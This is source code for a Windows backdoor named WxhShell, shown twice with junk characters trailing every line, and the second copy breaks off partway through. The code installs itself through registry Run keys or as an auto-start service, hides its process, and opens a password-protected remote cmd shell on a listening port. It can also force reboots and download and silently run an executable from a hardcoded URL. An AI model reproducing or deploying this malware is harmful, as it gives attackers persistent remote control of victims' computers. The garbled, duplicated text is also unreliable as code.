    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>7f9D7  
    else { `$nMTx]Y  
    closesocket(wsh); Ys+Dw-  
    ExitThread(0); c<y.Y0  
    } ~Rs|W;  
    break; V/"XC3/n*  
    } ]BO{Q+?d2  
  // 关机 ( X)$8y  
  case 'd': { mE}``  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cx_[Y  
    if(Boot(SHUTDOWN)) -l`@pklQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6IctW5b  
    else { c^6v7wT5  
    closesocket(wsh); a_`E'BkgU  
    ExitThread(0); G"5Nj3v d  
    } 6@]Xwq  
    break; Q2Yv8q_}Uq  
    } o%Vf#W  
  // 获取shell -=Q_E^'  
  case 's': { y$r9Y!?s  
    CmdShell(wsh); l(v$+  
    closesocket(wsh); l#\z3"b  
    ExitThread(0); KQJn\#>  
    break; {l0;G) -  
  } P qagep d  
  // 退出  +h9U V  
  case 'x': { +&4PGv53J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >tr_Ypfv,c  
    CloseIt(wsh); 28f-8B  
    break; &VY;Al  
    } = <O{t#]  
  // 离开 95T%n{rz  
  case 'q': { ^n@iCr9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YQ,IdWav  
    closesocket(wsh); JjfNH ~  
    WSACleanup(); T9t9])  
    exit(1); { )'D<:T  
    break; d#ya"e>  
        } !V+5$TsS  
  } Eh!%Ne O  
  } AU^Wy|i5Q  
umcbIi('  
  // 提示信息 $- =aqUU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T55l-.>  
} d=oOMXYa   
  } I%e7:cs>  
]N!SG@X+  
  return; Gxi;h=J2)>  
} JEdtj1v{O  
(PsA[>F  
// shell模块句柄 \CUxGyu  
int CmdShell(SOCKET sock) fOE:~3Q  
{ i#kRVua/  
STARTUPINFO si; 66p_d'U  
ZeroMemory(&si,sizeof(si)); D'fP2?3FK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o4w+)hh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -fL|e/   
PROCESS_INFORMATION ProcessInfo; J:?t.c~$o  
char cmdline[]="cmd"; mH;Z_ME"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u8+<uWB  
  return 0; iUS379wM}  
} E0xUEAO  
$rFv(Qc^=  
// 自身启动模式 9'8OGCN  
int StartFromService(void) .7ahz8v  
{ u+I-!3J87  
typedef struct {@Diig  
{ gW/H#T,  
  DWORD ExitStatus; ,=$yvZs4[]  
  DWORD PebBaseAddress; _\@i&3hkx  
  DWORD AffinityMask; &U4]hawbOU  
  DWORD BasePriority; <Cg;l<$`b  
  ULONG UniqueProcessId; ]DmqhK`  
  ULONG InheritedFromUniqueProcessId; Qbl6~>T  
}   PROCESS_BASIC_INFORMATION; W.MJyem  
45kMIh~~X  
PROCNTQSIP NtQueryInformationProcess; R3?~+ y&  
Vq9hAD|k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %(6f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mKe{y.  
Ic#+*W\ZW  
  HANDLE             hProcess; LaN4%[;X1-  
  PROCESS_BASIC_INFORMATION pbi; ]3d&S5zU  
5Hr(9)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( fdDFb#1  
  if(NULL == hInst ) return 0; ;Ic3th%u  
U?$v 1||  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &CUkR6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >x2T '  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wf|CE410  
!cSD9q*  
  if (!NtQueryInformationProcess) return 0; $ZcmE<7k  
^jf$V #z0/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D cus-,u~  
  if(!hProcess) return 0; Y] P}7GZ  
-\UzL:9>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X@~sIUXx9  
~@'|R%jJ  
  CloseHandle(hProcess); &cpRB&bf  
sv0kksj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Z%XA>  
if(hProcess==NULL) return 0; cLR8U1k'  
Ae ue:u>  
HMODULE hMod; M\`6H8aLn  
char procName[255]; 6bHj<6>MX  
unsigned long cbNeeded; &RROra  
>W-e0kkH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D|=QsWZI  
'O{hr0q}  
  CloseHandle(hProcess); Jc:G7}j6  
+ s[(CI.b  
if(strstr(procName,"services")) return 1; // 以服务启动 /)oxuk&}c  
LR9'BUfFv  
  return 0; // 注册表启动 (/@o7&>*50  
} +S/8{2%?DG  
?7G[`@^Y  
// 主模块 p%3';7W\  
int StartWxhshell(LPSTR lpCmdLine) #(  kT  
{ 4a!L/m *  
  SOCKET wsl; jU4Ir {f  
BOOL val=TRUE; zcxG%? Q  
  int port=0; S?Eg   
  struct sockaddr_in door; 8De `.!Gg  
o,aI<5"  
  if(wscfg.ws_autoins) Install(); e;!<3b  
NoKYHN^*w  
port=atoi(lpCmdLine); @kqy!5)K  
=A!I-@]q<  
if(port<=0) port=wscfg.ws_port; 57[O)5u.+  
JRodYXjE  
  WSADATA data; m|f|u3'z$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \ [>Rt  
\H" (*["&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IL>g-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wq,UxMz  
  door.sin_family = AF_INET; *-P@|eg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NEGpf[$  
  door.sin_port = htons(port); 4tu2%Og)?  
>Zr/U!W*?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \{UiGCK  
closesocket(wsl); l;|1C[V  
return 1; eGguq~s`  
} JT_#>',  
P AKh v.7  
  if(listen(wsl,2) == INVALID_SOCKET) { O]~p)E  
closesocket(wsl); x`o_&09;CG  
return 1; ~z< ? Wh  
} SnXYq 7`t  
  Wxhshell(wsl); F[?t"d  
  WSACleanup(); DH 9?~|  
KRXe\Sx  
return 0; g8qN+Gg  
fqF1 - %  
} Y: byb68  
eA+6-'qN  
// 以NT服务方式启动 LXK+WB/s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sk1yend4  
{ V'6%G:?0a  
DWORD   status = 0; UhEnW8^bz1  
  DWORD   specificError = 0xfffffff; wEkW=  
3b[_0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BRW   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QTLOP~^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =j}00,WH  
  serviceStatus.dwWin32ExitCode     = 0; Ur@'X-  
  serviceStatus.dwServiceSpecificExitCode = 0; ?EpY4k8,  
  serviceStatus.dwCheckPoint       = 0; 3ea6g5kX  
  serviceStatus.dwWaitHint       = 0; sxuYwQ  
J7l1-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZM)a4h,kcm  
  if (hServiceStatusHandle==0) return; TI*uNS;-  
Y)a 7osML  
status = GetLastError(); @|cas|U.r  
  if (status!=NO_ERROR) r-!8in2  
{ Y)!5Z.K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "C0oFRk  
    serviceStatus.dwCheckPoint       = 0; -bs~{  
    serviceStatus.dwWaitHint       = 0; h\20  
    serviceStatus.dwWin32ExitCode     = status; M&>Z[o  
    serviceStatus.dwServiceSpecificExitCode = specificError; A!j&g(Z"Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (^6SF>'  
    return; i4uUvZ f  
  } IB?5y~+h  
{WC{T2:8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SYC_=X  
  serviceStatus.dwCheckPoint       = 0; + 1cK (Si  
  serviceStatus.dwWaitHint       = 0; 0&w.QoZY(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :ox+WY  
} aIm\tPbb  
$I tehy  
// 处理NT服务事件,比如:启动、停止 my*/MC^O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WJg?R^  
{ QU\|RX   
switch(fdwControl) ,Z52d ggD  
{ bx5X8D  
case SERVICE_CONTROL_STOP: (IEtjv}D  
  serviceStatus.dwWin32ExitCode = 0; 9cj:'KG)!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \Hy~~Zh2  
  serviceStatus.dwCheckPoint   = 0; p~M^' k=d  
  serviceStatus.dwWaitHint     = 0; S(rA96n  
  { hsVWD,w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3|@Ske1%Y  
  } pET5BMxGG  
  return; <)"Mi}Q[)p  
case SERVICE_CONTROL_PAUSE: gE:qMs;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %+`$Lb?{  
  break; XRaq\a`=:  
case SERVICE_CONTROL_CONTINUE: $_<,bC1[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QZd ,GY5{  
  break; @y}1%{,%  
case SERVICE_CONTROL_INTERROGATE: h"q`gj  
  break; G-T:7  
}; ,!Q2^R   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CM~)\prks  
} [S*bN!t  
QPdhesrd-  
// 标准应用程序主函数 x==%BBnO%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a[t2T jB  
{ pYVQ-r%QF  
ku?i[Th  
// 获取操作系统版本 WzZb-F  
OsIsNt=GetOsVer(); Z.rKV}yjY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3VKArv-  
mNs&*h}  
  // 从命令行安装 7zy6`O P  
  if(strpbrk(lpCmdLine,"iI")) Install(); >D*L0snjV  
+]Ydf^rF  
  // 下载执行文件 NbfV6$jo  
if(wscfg.ws_downexe) { *R8q)Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qM]eK\q 1  
  WinExec(wscfg.ws_filenam,SW_HIDE); up`!r;5-  
} /Wk\ 6  
LUJKR6oT{>  
if(!OsIsNt) {  :3u>%  
// 如果时win9x,隐藏进程并且设置为注册表启动 @@_f''f$  
HideProc(); @Vc*JEW  
StartWxhshell(lpCmdLine); `|Tr"xavf  
} k%Jw S_F  
else JZN'U<R  
  if(StartFromService()) 41,Mt  
  // 以服务方式启动 \u2p]K>  
  StartServiceCtrlDispatcher(DispatchTable); aQw?r  
else <{7B ^'  
  // 普通方式启动 t&0pE(MO/  
  StartWxhshell(lpCmdLine); mmEr2\L  
Qnph?t>  
return 0; e=TB/W_  
} b6Dve]  
X8p-VCkV  
De\&r~bTW9  
h_Q9 c  
=========================================== 0I& !a$:  
{_l@ws  
!{"{(h)+@  
GuNzrKDr  
t-i;  
KR%DpQ&{'  
" @'s^  
-AJe\ J 2  
#include <stdio.h> 591Syyy  
#include <string.h> "{j4?3f)  
#include <windows.h> eDgRYa9\  
#include <winsock2.h> ?nCG:\&;'=  
#include <winsvc.h> 8?h-H #h  
#include <urlmon.h> ytK h[Uo  
U"af3c^2  
#pragma comment (lib, "Ws2_32.lib") 9JpPas$]  
#pragma comment (lib, "urlmon.lib") $9j\sZj&  
; Sq_DP1W  
#define MAX_USER   100 // 最大客户端连接数 &}Cm9V  
#define BUF_SOCK   200 // sock buffer ( n|PLi  
#define KEY_BUFF   255 // 输入 buffer (%YFcE)SRS  
M)#aX|%Mh  
#define REBOOT     0   // 重启 a9`E&Q}z  
#define SHUTDOWN   1   // 关机 v&D^N9hy9  
tc.R(F96  
#define DEF_PORT   5000 // 监听端口 5ZSV)$t  
8dNwi&4  
#define REG_LEN     16   // 注册表键长度 7q^o sOj"  
#define SVC_LEN     80   // NT服务名长度 y08.R. l  
|Xlpgdiu  
// 从dll定义API 4(f[Z9 iZ]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); db'Jl^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zchs/C 9{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2X!O '  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {'NdN+_C  
B#N(PvtE  
// wxhshell配置信息 D ]:sR  
struct WSCFG { R6r'[- B2  
  int ws_port;         // 监听端口 'C)`j{CS  
  char ws_passstr[REG_LEN]; // 口令 W MU9tq[  
  int ws_autoins;       // 安装标记, 1=yes 0=no )xy1 DA  
  char ws_regname[REG_LEN]; // 注册表键名 (:4N#p  
  char ws_svcname[REG_LEN]; // 服务名 uK2MC?LP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b*\K I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! av B&Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?k CK$P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D .oX>L#:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^y]CHr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o['HiX  
g[!t@K  
}; w$MFCJ:p&  
NTkGLD1e.  
// default Wxhshell configuration YIvJN  
struct WSCFG wscfg={DEF_PORT, oJA%t-&%R  
    "xuhuanlingzhe", PbvRh~n  
    1, J=JYf_=4bc  
    "Wxhshell", ~Pq1@N>n  
    "Wxhshell", FctqE/>}I  
            "WxhShell Service", J\^ZRu_K  
    "Wrsky Windows CmdShell Service", 33z)F  
    "Please Input Your Password: ", ^1sX22k  
  1, $6kVhE!;  
  "http://www.wrsky.com/wxhshell.exe", $vlq]6V8  
  "Wxhshell.exe" PGF=q|j9K  
    }; * 7u~`  
_~ZNX+4  
// 消息定义模块 /7/d u[P6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OX d617  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3(0k!o0 "  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .'k]]2%ILp  
char *msg_ws_ext="\n\rExit."; `xMmo8u4  
char *msg_ws_end="\n\rQuit."; >RZ]t[)y  
char *msg_ws_boot="\n\rReboot..."; {7.."@Ob<v  
char *msg_ws_poff="\n\rShutdown..."; `z=U-v'H)D  
char *msg_ws_down="\n\rSave to "; (n_lu= E70  
(LbAP9Zj#f  
char *msg_ws_err="\n\rErr!"; u.ubw(vv  
char *msg_ws_ok="\n\rOK!"; AIgJ,=9K  
#Drs=7w  
char ExeFile[MAX_PATH]; ,5$V;|  
int nUser = 0; {/#^v?,  
HANDLE handles[MAX_USER]; ? FGzw  
int OsIsNt; ~w_4 nE  
4wk-f7I(  
SERVICE_STATUS       serviceStatus; &MKG#Y}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3z';Zwz &X  
+LuGjDn0  
// 函数声明 M0zJGIT~b  
int Install(void); FKRO0%M4}Z  
int Uninstall(void); ErIAS6HS'  
int DownloadFile(char *sURL, SOCKET wsh); U ]jHe  
int Boot(int flag); (N{Rda*8  
void HideProc(void); 3omFd#EP  
int GetOsVer(void); lO3W:,3_a  
int Wxhshell(SOCKET wsl); dfl| 6R  
void TalkWithClient(void *cs); a$H*C(wL  
int CmdShell(SOCKET sock); pESlBQ7{I  
int StartFromService(void); =oQw?,eY  
int StartWxhshell(LPSTR lpCmdLine); -e0C Bp  
&D0suK#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?0 93'lA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c@;$6WSG^  
r!:W-Y%&#  
// 数据结构和表定义 8|*#r[x  
SERVICE_TABLE_ENTRY DispatchTable[] = Z^5j.d{e$  
{ k`FCyO  
{wscfg.ws_svcname, NTServiceMain}, feU]a5%XZ  
{NULL, NULL} 5mxHOtvtWM  
}; 4gbi?UAmX  
z(V?pHv+  
// 自我安装 D#Fe\8!l  
int Install(void) =%P'?(o|  
{ acr@erk  
  char svExeFile[MAX_PATH]; E]$YM5  
  HKEY key; U  ?'$E\  
  strcpy(svExeFile,ExeFile); E`s9SE  
3jR,lEJyj  
// 如果是win9x系统,修改注册表设为自启动 GPlAQk  
if(!OsIsNt) { :?W {vV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OjO$.ecT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jyQ Bx  
  RegCloseKey(key); ?|!167/O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /^ *GoB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 d $  
  RegCloseKey(key); _%^t[4)q  
  return 0; Z)}q=NjA  
    } 7oaa)  
  } !_0kn6 S5  
} uis;S)+  
else { Pl^-]~  
Y*nzOD$  
// 如果是NT以上系统,安装为系统服务 *: )hoHp&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 94C)63V  
if (schSCManager!=0) bL*;6TzRK  
{ SxV(.i'  
  SC_HANDLE schService = CreateService \|^fG9M~  
  ( 6&V4W"k  
  schSCManager, w20E]4"  
  wscfg.ws_svcname, Fq3[/'M^  
  wscfg.ws_svcdisp, ] =ar&1}J  
  SERVICE_ALL_ACCESS, k<W n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c*MSd  
  SERVICE_AUTO_START, F jdh&9Zc  
  SERVICE_ERROR_NORMAL, DC S$d1  
  svExeFile, 5<Mht6"H  
  NULL, $tvGS6p>  
  NULL, XgY( Vv  
  NULL, N_S>%Z+  
  NULL, o %#Z  
  NULL !g:UkU\J  
  ); DDxNqVVt4  
  if (schService!=0) 47I5Y5  
  { 5MY+O\  
  CloseServiceHandle(schService); }G n2%  
  CloseServiceHandle(schSCManager); cGSoAK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mY"DYYR>  
  strcat(svExeFile,wscfg.ws_svcname); +js3o@Ku{\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L'=e /&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cyUNJw  
  RegCloseKey(key); m(JFlO  
  return 0; JtYc'%OF  
    } U!m-{7s$  
  } E\!:MCL  
  CloseServiceHandle(schSCManager); X;_0"g  
} pJ7wd~wF*  
} ]RHR>=;  
q|m8G  
return 1; <LM<,  
} 3}O.B r|  
g3{)AX[Uy  
// 自我卸载 o:C:obiQbu  
int Uninstall(void) N]cGJU>$  
{ Y+N^_2@+C  
  HKEY key; gOw|s1`2,  
~D@pk>I  
if(!OsIsNt) { )CS 7>Vx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h`&@>uEiq  
  RegDeleteValue(key,wscfg.ws_regname); N^|r.J  
  RegCloseKey(key); U@[P.y~J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y1AbG1n|  
  RegDeleteValue(key,wscfg.ws_regname); EK. L>3  
  RegCloseKey(key); qS{lay  
  return 0; ,u QLXF2  
  } *|AnL}GJ  
} 6Nx TW  
} 8 g'9( )&  
else { 2a*1q#MpAt  
:0ND0A{K:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HC w$v#  
if (schSCManager!=0) js Tb0  
{ `xe[\Z2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :7Mo0,Bw,  
  if (schService!=0) 4@#1G*OO  
  { k1 >%wR  
  if(DeleteService(schService)!=0) { {npKdX  
  CloseServiceHandle(schService); (omdmT%D  
  CloseServiceHandle(schSCManager); r5[om$|*  
  return 0; C|"T!1MlY4  
  } ,G1|] ~  
  CloseServiceHandle(schService); q ,d]i/T  
  } xt +fu L  
  CloseServiceHandle(schSCManager); h./cs'&  
} ?zUV3Qgzj  
} E=gD{1,?  
Fy-nV% P  
return 1; Sw#Ez-X  
} x@.iDP@(  
s9'g'O5  
// 从指定url下载文件 DMcvu*A  
int DownloadFile(char *sURL, SOCKET wsh) xTD6?X'4  
{ (d993~|h  
  HRESULT hr; H_;Dq*  
char seps[]= "/"; Hk2@X(  
char *token; (o^V[zV  
char *file; FVG|5'V^  
char myURL[MAX_PATH]; 3leg,q d  
char myFILE[MAX_PATH]; ^w2n  
&.kg8|s{  
strcpy(myURL,sURL); t,N- |  
  token=strtok(myURL,seps); .5L/<  
  while(token!=NULL) i#lvt#2J0  
  { w;H  
    file=token; wO} 3i6  
  token=strtok(NULL,seps); R2Tvo?xI7  
  } ?-<t-3%hyV  
!=&]#-;b  
GetCurrentDirectory(MAX_PATH,myFILE); ml=1R >#'  
strcat(myFILE, "\\"); T'XAcH  
strcat(myFILE, file); oiO3]P]P  
  send(wsh,myFILE,strlen(myFILE),0); &\sg~  
send(wsh,"...",3,0); H?40yu2m5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O,qR$#l   
  if(hr==S_OK) i BJ*6orz  
return 0; *sJx0<!M}  
else F&lc8  
return 1; ScGmft3A  
nIph[Vs-Z  
} r_)-NOp  
d;lp^K M  
// 系统电源模块 MBcOIy[&A  
int Boot(int flag) XP2=x_"y  
{ 2!68W X  
  HANDLE hToken; 9[T#uh!DC  
  TOKEN_PRIVILEGES tkp; >4M_jC.  
N _pJE?  
  if(OsIsNt) { >;xEzc!W3*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rF~q"9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +*0THol-  
    tkp.PrivilegeCount = 1; |&n dQ(!l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AaTtY d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 86%weU/*  
if(flag==REBOOT) { n^&QOII@>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R~RY:[5?w  
  return 0; 9U}EVpD  
} (-dJ0!  
else { qwFn(pK[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vo7 1T<K  
  return 0; fil6w</L  
} 73}k[e7e  
  } /Z2*>7HM8[  
  else { w5n>hz_5  
if(flag==REBOOT) { nj7Ri=lyS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w5|@vB/pj  
  return 0; -m'a%aog  
} ?U-p jjM  
else { '[-H].-!   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kIW Q`)'  
  return 0; gP1$#KgU  
} s vo^#V~h'  
} ;prp6(c  
Q ;k_q3  
return 1; +#B%YK|LR  
} A5H[g`&  
3J,/bgL5  
// win9x进程隐藏模块 *c3 o&-ke9  
void HideProc(void) 9oq(5BG,  
{ :cynZab  
'!1lK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p$9N}}/c  
  if ( hKernel != NULL ) R*yB);p  
  { K4R jGSaF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;( 2uQ#Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q"5 2-42  
    FreeLibrary(hKernel); ;=^WIC+Nr  
  } tQl=  
q0c)pxD%`  
return; i;dr(c/ft  
} ,MvvW{EY  
MPL2#YU/a  
// 获取操作系统版本 1}ToR=  
int GetOsVer(void) [e^i".  
{ W}=2?vHV=  
  OSVERSIONINFO winfo; EvECA,!i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y4?>5{`W  
  GetVersionEx(&winfo); uPo>?hpq+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n--`zx-['  
  return 1; *v5y]E%aW  
  else a9qZI  
  return 0; g)p[A 4  
} %##9.Xm6l  
1^W Aps  
// 客户端句柄模块  E;|\?>  
int Wxhshell(SOCKET wsl) JGdBpj:  
{ 9a4RW}S<  
  SOCKET wsh; x)Th2es\  
  struct sockaddr_in client; @%fkW"y:  
  DWORD myID; _9gn;F  
 C3<3  
  while(nUser<MAX_USER) [X=eCHB?  
{ ^al SyJ`  
  int nSize=sizeof(client); >C&!# 3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^a}{u$<  
  if(wsh==INVALID_SOCKET) return 1; v0xi(Wu  
g,W#3b6>j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :- 5Mn3*  
if(handles[nUser]==0) d8r+UP@#  
  closesocket(wsh); \Q)~'P3  
else "yz@LV1  
  nUser++;  9q5[W=|  
  } T(}da**X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kN) pi "  
*lTu-  
  return 0; dW5z0VuB$/  
} i)p__Is  
;s!H  
// 关闭 socket 0y1t%C075  
void CloseIt(SOCKET wsh) s`TBz8QO$  
{ hg&AQk  
closesocket(wsh); rLXn35O  
nUser--; g!QumRF  
ExitThread(0); x-QP+M`Pu  
} >L(F{c:  
VuR BJ2D  
// 客户端请求句柄 }9kq?  
void TalkWithClient(void *cs) 97 g-*K  
{ ejQCMG7  
wb?hfe  
  SOCKET wsh=(SOCKET)cs; H9Z3.F(2  
  char pwd[SVC_LEN]; E:tUbWVp  
  char cmd[KEY_BUFF]; rTJWftH!  
char chr[1]; Lr~K3nb  
int i,j; ?t"PawBWE  
V:+bq`  
  while (nUser < MAX_USER) { 0CR;t`M@  
;|%r!!#-t  
if(wscfg.ws_passstr) { I"!{HnSG`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :({<"H)!'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4CCux4)N  
  //ZeroMemory(pwd,KEY_BUFF); JQCwI`%i  
      i=0; !K2[S J  
  while(i<SVC_LEN) { W | }Hl{}  
&sWyh[`P  
  // 设置超时 PLyu1{1" z  
  fd_set FdRead; _aGdC8%[  
  struct timeval TimeOut; WI9.?(5q  
  FD_ZERO(&FdRead); 7lpVK]  
  FD_SET(wsh,&FdRead); u rOGOa$  
  TimeOut.tv_sec=8; .G]# _U  
  TimeOut.tv_usec=0; a]k&$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {3R ax5Ty  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u0e#iX  
Rb0{t[IU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tvUvd(8 w  
  pwd=chr[0];  R pbl)  
  if(chr[0]==0xd || chr[0]==0xa) { oGqv,[$qN  
  pwd=0; _7<U[63  
  break; :6 fQE#(s&  
  } QUDVsN#  
  i++; vB{b/xmah  
    } *X #e  
xRUYJ=|oh  
  // 如果是非法用户,关闭 socket @rMW_7[y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9|`@czw  
} #j JcgR<  
YMd&+J`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $5IrM 7i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uu+C<j&-  
M&FuXG%  
while(1) { |gz ,Ip{  
SDwSlwf  
  ZeroMemory(cmd,KEY_BUFF); bij?q\  
s*f.` A*)  
      // 自动支持客户端 telnet标准   12a #]E  
  j=0; (`u!/  
  while(j<KEY_BUFF) { #77UKYj2L-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Tx tX8v  
  cmd[j]=chr[0]; Q(6(Scp{  
  if(chr[0]==0xa || chr[0]==0xd) { c5R{Sl  
  cmd[j]=0; q9!9OcN2  
  break; l/^-:RRNKi  
  } A& F4;>dms  
  j++; Y zS*p~|  
    } D3{lyi|8  
Yn>zR I  
  // 下载文件 <^Tj}5 )n  
  if(strstr(cmd,"http://")) { m #QI*R XP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0 l@P]_qq`  
  if(DownloadFile(cmd,wsh)) l,FoK76G  
